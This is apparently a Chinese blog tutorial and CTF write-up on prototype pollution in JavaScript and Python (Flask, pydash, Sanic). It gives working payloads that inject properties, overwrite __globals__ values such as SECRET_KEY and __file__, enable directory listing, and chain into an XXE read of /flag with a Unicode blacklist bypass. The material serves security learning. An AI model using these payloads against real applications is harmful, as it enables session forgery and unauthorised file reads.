原型链污染

一、简述

原型链污染漏洞和 SSTI(Server-Side Template Injection)漏洞都涉及到原型链,但是原型链污染漏洞产生的原因和利用方式和后者有很大区别。

原型链污染(Prototype Pollution)是指攻击者通过操控对象的原型链,修改或注入不应存在的属性。这样,所有继承自该原型的对象都会受到影响,可能导致程序行为异常、数据泄露或系统漏洞。

区别:

  • 原型链污染: 修改对象原型链的行为,影响应用程序的所有对象。
  • SSTI: 注入和执行模板表达式,影响模板渲染和服务器端代码执行。

二、JS原型链

概念:

大部分面向对象的编程语言,都是通过“类”(class)实现对象的继承。传统上,JavaScript 语言的继承不通过 class,而是通过“原型对象”(prototype)实现

js类

js 中,定义一个类,需以定义“构造函数”的方式来定义:

Copyfunction Foo() {
    this.bar = 1;
}

new Foo();

解析:

Foo函数的内容,就是Foo类的构造函数,this.bar就表示Foo类中的一个属性

(为简化编写js的代码,ECmAScript6 后增加了class语法,但class其实只是一个语法塘)

js类的方法

一个类中必然有一些方法,类似属性this.bar,也可将方法定义在构造函数内部

Copyfunction Foo() {
    this.bar = 1;
    this.show = function() {
        console.log(this.bar);
    }
}

(new Foo()).show()  // 输出:1  ,相当于let foo=new Foo(); foo.show(); 

prototype属性

JavaScript 规定,每个函数都有一个prototype属性,指向一个对象

Copyfunction f() {}
typeof f.prototype; // "object"
//函数`f`默认具有`prototype`属性,指向一个对象,这个对象就是f的原型对象
//当然原型对象也是对象,也有prototype属性,也就是f.prototype.ptototype,就像一条链,可以一直溯源到Object的原型null

f.prototype.a=1; //给f的原型添加了a变量
let i=new f(); //实例化f为对象i
console.log(i.a); //对象i可以直接访问f原型里的所有属性

proto属性

prototype:一个类的属性,所有类对象在实例化的时候会拥有prototype中的属性和方法;proto:一个对象的__proto__属性,指向这个对象所在的类的prototype属性

Copy//类实例化的对象不能访问prototype,但可以通过.__proto__来访问类的prototype

function Father() {
    this.first_name = 'Donald';
    this.last_name = 'Trump';
}

function Son() {
    this.first_name = 'Melania';
}

Son.prototype = new Father();

let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`) 
//对象son没有last_name属性,JavaScript引擎就会通过`__proto__`去其原型对象上寻找,如果原型对象也没有,再通过原型对象的`__proto__`继续向上查找,这个过程会持续进行,直到找到该属性或方法,或者查找到原型链的末端(`null`)。

属性的表示

Copy//对象和属性之间的表达方式很多,比如直接表达
var person = {
name : "Micheal",
age : 24,
a:function(){return 666}
};
console.log(person.name); //Micheal

//js,对象其实就是键值对,所以我们可以用数组的表达方式
console.log(person['age'],person['a']());

JSON.parse

Copylet o1 = {};
let o2 = {
    a:1,
    "__proto__":{b:2}
};
console.log(o2);
//输出:“Object { a: 1 }” ,为什么不是 “Object { a: 1 , __proto__: {b: 2}}” 呢?
//因为在进行键值赋值之前就会把proto解析掉,让其指向其构造函数的prototype指向的对象
//o2的原型对象就成了{"b":2},就不是最上层的Object

let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}'); //使用JSON.parse方法,将json数据转换成js对象
//输出:Object { a: 1 , __proto__: {b: 2}}
//JSON解析的情况下,__proto__会被认为是一个真正的“键名”,不代表原型

JS原型链污染漏洞

如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染

Copy// foo是一个简单的JavaScript对象
let foo = {bar:1};

// foo.bar此时为1
console.log(foo.bar);

// 修改foo的原型(即object)
console.log(foo.bar);

// 修改foo的原型(即object)
foo.__proto__.bar = 2;

// 查找顺序原因,foo.bar仍然是1
console.log(foo.bar);

// 此时用objecr创建一个空的zoo对象
let zoo = {};

// 查看zoo.bar,结果为2
console.log(zoo.bar);

原因:
修改 foo 原型foo.__proto__.bar = 2,而 foo 是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2
后来用object类创建了一个zoo对象,let zoo = {},zoo对象自然也有一个bar属性了

绕过

逗号的绕过

在 web 开发中,req.query 通常是一个包含查询字符串参数的对象。在处理查询字符串时,可能会遇到同一参数名多次出现的情况,比如:

Copy?param=value1&param=value2&param=value3

在这个查询字符串中,param 出现了多次。如果你使用 req.query 来访问这个参数,它会如何解析这个参数呢?

答案:req.query —–解析—-> 数组 —-json.parse–> 对象 (同一参数名解析后会带上逗号)

在大多数 web 框架中(如 Express.js),req.query 会将查询字符串中的每个参数解析成一个键值对。如果一个参数名出现多次,框架通常会将这些值解析成一个数组。

例如,对于查询字符串 ?param=value1&param=value2&param=value3,解析后的 req.query 可能会是:

Copy{
  param: ['value1', 'value2', 'value3']
}

param参数传递给 JSON.parse(),它会将其解析为一个 JavaScript 对象,例如:

Copy//传入: ?param={'a':1&param='b':2&param='c':3}
// 此时 req.query.param为数组:
// [ '{"a":1', '"b":2', '"c":3}' ]
// 最后 JSON.parse解析成 {"a":1,"b":2,"c":3}

const express = require('express');
const app = express();
const port = 3000;

app.get('/', (req, res) => {
  // 获取查询GET参数 'param'
  const sycParam = req.query.param;

  if (sycParam) {
    try {
      // 解析 JSON 字符串
      const parsedData = JSON.parse(sycParam);
      // 返回解析后的结果
      res.json({
        status: 'success',
        data: parsedData
      });
    } catch (error) {
      // 如果解析失败,返回错误信息
      res.json({
        status: 'error',
        message: 'Invalid JSON format'
      });
    }
  } else {
    res.json({
      status: 'error',
      message: 'Missing syc query parameter'
    });
  }
});

app.listen(port, () => {
  console.log(`Server is running at http://localhost:${port}`);
});

例题

极客大挑战2024 ez_js

Copyconst { merge } = require('./utils/common.js'); 

function handleLogin(req, res) {
    var geeker = new function() {
        this.geekerData = new function() {
            this.username = req.body.username;
            this.password = req.body.password;
        };
    };

    merge(geeker, req.body);

    if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
        if(geeker.hasFlag){
            const filePath = path.join(__dirname, 'static', 'direct.html');
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end();
                }
            });
        }else{
            const filePath = path.join(__dirname, 'static', 'error.html');
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end();
                }
            });
        } 
    }else{
        const filePath = path.join(__dirname, 'static', 'error2.html'); 
        res.sendFile(filePath, (err) => {
            if (err) {
                console.error(err);
                res.status(err.status).end(); 
            }
        });
    }
}

function merge(object1, object2) {
    for (let key in object2) {
        if (key in object2 && key in object1) {
            merge(object1[key], object2[key]);
        } else {
            object1[key] = object2[key];
        }
    }
}

module.exports = { merge };

payload

Copy{"username":"Starven","password":"123456",
"__proto__":{"hasFlag":true}
}

三、Python原型链污染

污染原理

Python 中的原型链污染(Prototype Pollution)是指通过修改对象原型链中的属性,对程序的行为产生意外影响或利用漏洞进行攻击的一种技术。
在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等

比如,通过修改__class__.__qualname污染类名:

Copyclass Employee(): pass
a=Employee()
a.__class__.__qualname__ = 'polluted'
print(a.__class__)  # Output:<class '__main__.polluted'>

但是,__qualname__属性仅仅只是记录类名的字符串,并不能修改对象所指向的类。

Copyclass Employee(): str = 'fail'
class pulluted: str = 'success'

a=Employee()
a.__class__.__qualname__='polluted'

print(a.__class__) # Output:<class '__main__.polluted'>
print(a.str)# Output:fail

想要修改对象所指向的类,就要修改__class__属性

Copyclass Employee(): str = 'fail'
class polluted: str = 'success'

a=Employee()
a.__class__= polluted

print(a.__class__) # Output:<class '__main__.polluted'>
print(a.str)# Output:success

污染条件

merge函数污染

和Javascript原型链污染差不多,原型链污染需要merge合并函数,通过递归合并来修改父级属性,CTF中常见的merge函数如下

Copydef merge(src, dst):  #src为原字典,dst为目标字典
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  # 如果实现了__getitem__魔术方法,则可以用键值对字典形式访问对象属性
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))  #递归到字典最后一层
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:  # 如果dst有键k,且值v还是字典,进入递归
            merge(v, getattr(dst, k))  # 直到递归到最终的父类
        else:
            setattr(dst, k, v)

# 函数解释:
1.hasattr(object, attribute_name) # 检查一个对象是否具有指定的属性或方法
object: 你要检查的对象。
attribute_name: 一个字符串,表示你要检查的属性或方法的名称。

2.getattr(object, attribute_name[, default]) # 获取对象的指定属性的值
object: 你要查询的对象。
attribute_name: 一个字符串,表示你要获取的属性名称。
default: 可选参数。如果指定的属性不存在,将返回这个默认值。如果省略而属性不存在,会引发 AttributeError 异常。

3.setattr(object, attribute_name, value) # 设置对象的属性值
object: 你要修改的对象。
attribute_name: 一个字符串,表示你要设置的属性的名称。
value: 要设置的属性的值。

__getitem__ 方法: 这是一个特殊方法(魔术方法),用于定义如何通过索引访问对象的元素。例如,列表、字典和字符串都实现了 __getitem__ 方法,从而允许通过下标或键来访问其元素。

实例:

污染全局变量

Copyclass father:
    secret = "hello"
class son_a(father):
    pass
class son_b(father):
    pass

class test:
    def __init__(self):
        pass
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

flag = False
instance1 = son_b()
instance2 = test()
payload1 = {
    "__class__" : {
        "__base__" : {
            "secret" : "world"
        }
    }
}
payload2 = {
    "__class__" : {
        "__init__" : {
            "__globals__" : {
                "flag" : "True"
            }
        }
    }
}

print(son_a.secret)
#hello
print(instance1.secret)
#hello
print(flag)
#False
merge(payload1, instance1)
merge(payload2, instance2)
print(son_a.secret)
#world
print(instance1.secret)
#world
print(flag)
#True

首先,字典src就是我们的payload,dst就是目标对象son_b和test。

我们通过污染可以修改全局变量flag的值,以及修改father类的secret属性。

  • 先看payload1,字典中只有一个键__class__,在merge函数中触发条件elif hasattr(dst, k) and type(v) == dict:(意思是instance1里有k,也就是__class__键,且键的值也是字典类型)。
  • 进入下一轮递归, merge(v, dst.get(k)),此时v是{"__base__" : {"secret" : "world"}}, dst.get(k)是instance1的__class__属性son_b。同样触发elif hasattr(dst, k) and type(v) == dict:
  • 最后一轮递归, merge(v, dst.get(k)),此时v是{"secret" : "world"}, dst.get(k)是son_b的__base__属性father类,最后触发条件else:setattr(dst, k, v),将键和值赋给father类,成功修改了secret的值。

Pydash函数污染

Pydash其实和merge函数类似,将在下面TSCTF这题中给出示例。

Copyfrom flask import Flask, request 
import os
import pydash
import urllib.request

app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com" 
black_list = ['localhost', '127.0.0.1']

class Userinfo:
   def __init__(self): 
       pass

class comexec:
   def test_ping(self):
       cmd = os.getenv('cmd') 
       os.system(cmd)

@app.route("/define", methods=['GET'])
def define():
   if request.remote_addr == '127.0.0.1':
       if request.method == 'GET':
           print(request.args)
           usname = request.args['username']
           info = request.args['info']
           origin_user = request.args['origin_user']
           user = {usname: info}
           print(type(user))
           # pydash 
           pydash.set_with(Userinfo(), origin_user, user, lambda: {}) 

           result = comexec().test_ping()
           return "USER READY,JUST INSERT YOUR SEARCH RESULT"
   else:
       return "NOPE"

@app.route("/search", methods=['GET'])
def search():
   if request.method == 'GET':
       urls = request.args['url']
       for i in black_list:
           if i in urls:
               return "HACKER URL!"
       try:
           info = urllib.request.urlopen(urls).read().decode('utf-8') 
           return info
       except Exception as e:
           print(e)
               return "error" 
   else:
       return "Method error"

@app.route("/")
def home():
   return "<html> Welcome to this Challenge </html> <script>alert('focus on the source code')</script>"

if __name__ == "__main__":
   app.run(debug=True, port=37333, host='0.0.0.0')

污染过程

感觉和之前学的flask的模板注入过程差不多,都是通过属性和方法的一层层调用,从而实现属性的修改

污染属性

这里我们要污染father类里的secret属性

Copyclass father:
    secret = "hello"
class son_a(father):
    pass
class son_b(father):
    pass
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "world"
        }
    }
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world

污染全局变量

python中的所有全局变量都记录在__globals__属性中,因此污染全局变量的关键就是找到__globals__属性

这里我们通过__globals__里找到了__file__属性,然后修改为“D:\html study\PyCharm Project\flask_pydash1\flag”文件

Copyfrom flask import Flask
from pydash import set_
import json

app = Flask(__name__)

class Pollute:
    def __init__(self):
        pass

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open(__file__).read()

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    payload = {
        r"key": r"__init__.__globals__.__file__",
        r"value": r"D:\html study\PyCharm Project\flask_pydash1\flag"
    }
    key = payload['key']
    value = payload['value']
    pollute = Pollute()
    set_(pollute,key,value)
    return "Finished pollute "


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000,debug=True)

sanic原型链污染

ciscn2024-web

app.py

Copyfrom sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2

class Pollute:
    def __init__(self):
        pass

app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())

@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")
    return text("login fail")

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")
    return text("forbidden")

if __name__ == '__main__':
    app.run(host='0.0.0.0')

污染file变量:

Copykey = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
    pollute = Pollute()

我们只需要找到globals变量即可操纵所有的全局变量,当然包括file变量。

绕过 _.使用反斜杠转义绕过,_\\\\.

payload: key = __class__.__init__.__globals__.__file__ ; value = flag.txt

sanic官方文档有一个app.static:

简化测试代码:

Copyfrom sanic import Sanic
from sanic.response import text
import pydash

class Pollute:
    def __init__(self):
        pass

app = Sanic(__name__)
app.static("/static/", "./static/")

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return text('hello')

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and '_.' not in key:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        return text("forbidden")

if __name__ == '__main__':
    app.run(host='127.0.0.1')

我们要找到修改directory_view的原型链,需要用到调试功能。

跟进app.static函数的位置:

下方有属性功能的注释,翻译一下:

我们知道,光能列出static目录下的文件列表肯定是不够的,因为flag可能藏在根目录里,也就是要修改file_or_directory的值。

sanic框架可以通过app.router.name_index[‘xxxxx’]来获取注册的路由,也就是说我们跟踪name_index,一定会遇到通向directory_view的路由。

跟进后找到name_index被赋值的位置,设下断点:

回到主文件,开启调试:

我们在调试框里搜索”directory”:

发现在一个叫handler的值下,展开找到具体的位置:

那么整个链条就可以理清楚了:

Copyprint(Pollute.__init__.__globals__['app'].router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view) # False

payload:

Copy{"key":"__class__.__init__.__globals__.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view","value":true}

//加入反斜杠绕过,注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而__mp_main.static是一个整体,不能分开,我们可以用两个反斜杠来转义就够了

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}

四、实战场景

注册系统污染

大多数实战情况下,我们是看不到源码的,这时需要猜测需要污染的对象。

比如:在一个登录场景下,目标使用了session,而我们需要伪造session成为管理员,这时我们需要污染的对象就是key。

不妨在注册时,写一个poc试试:

Copyimport requests
import json

url = "https://url/register"
payload = {
    "username": "test",
    "password": "test",
    "__init__": {"__globals__": {"app": {"config": {"SECRET_KEY": "baozongwi"}}}},
}
r = requests.post(url=url, json=payload)
print(r.text)

原型链配合xxe攻击

极客大挑战2024:py_game

部分源码:

Copyimport json

from flask import Flask, request, Response, jsonify
from lxml import etree

app = Flask(__name__)
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'


class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password


admin = User('admin', '123456j1rrynonono')


def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and isinstance(v, dict):
                update(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
                update(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


@app.route("/xml_parse")
def xml_parse():
    try:
        xml_bytes = app.config["xml_data"].encode("utf-8")
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser=parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
        return Response(result_xml, mimetype="application/xml")
    except etree.XMLSyntaxError as e:
        return str(e)


xml_parse = app.route('/xml_parse')(xml_parse)
black_list = [
    '__class__'.encode(),
    '__init__'.encode(),
    '__globals__'.encode()]


def check(data):
    print('check:', data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False
    return True


@app.route("/update", methods=["POST"])
def update_route():
    if request.data:
        try:
            if not check(request.data):
                return 'NONONO, Bad Hacker', 403
            else:
                data = json.loads(request.data.decode())
                print("json:", data)
                if all("static" not in str(value)
                       and "dtd" not in str(value)
                       and "file" not in str(value)
                       and "environ" not in str(value)
                       for value in data.values()):
                    update(data, User)
                    print(app.config['xml_data'])
                    return (
                        jsonify({"message": "更新成功"}), 200)
                return 'Invalid character', 400
        except Exception as e:
            return (
                f"Exception: {str(e)}", 500)
    else:
        return 'No data provided', 400


if __name__ == '__main__':
    app.run('0.0.0.0', 8080, False)

思路:

通过原型链污染app.config[‘xml_data’] ,进行xee攻击。

黑名单绕过:

黑名单过滤了__init__,可以用Unicode编码绕过(json后会自动解码Unicode转义字符)。

if条件里禁用了dtd、file等关键字,所以我们直接用SYSTEM '/flag'读文件即可。

payload:

Copy{"_\u005finit__":{
    "_\u005fglobals__":{
 "app":{
            "config":{
                "xml_data":"<!DOCTYPE a [<!ENTITY d SYSTEM '/flag'>]><root><name>&d;</name></root>"
            }
        }      
    }
}}

此时再去/xml_parse下查看flag即可

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇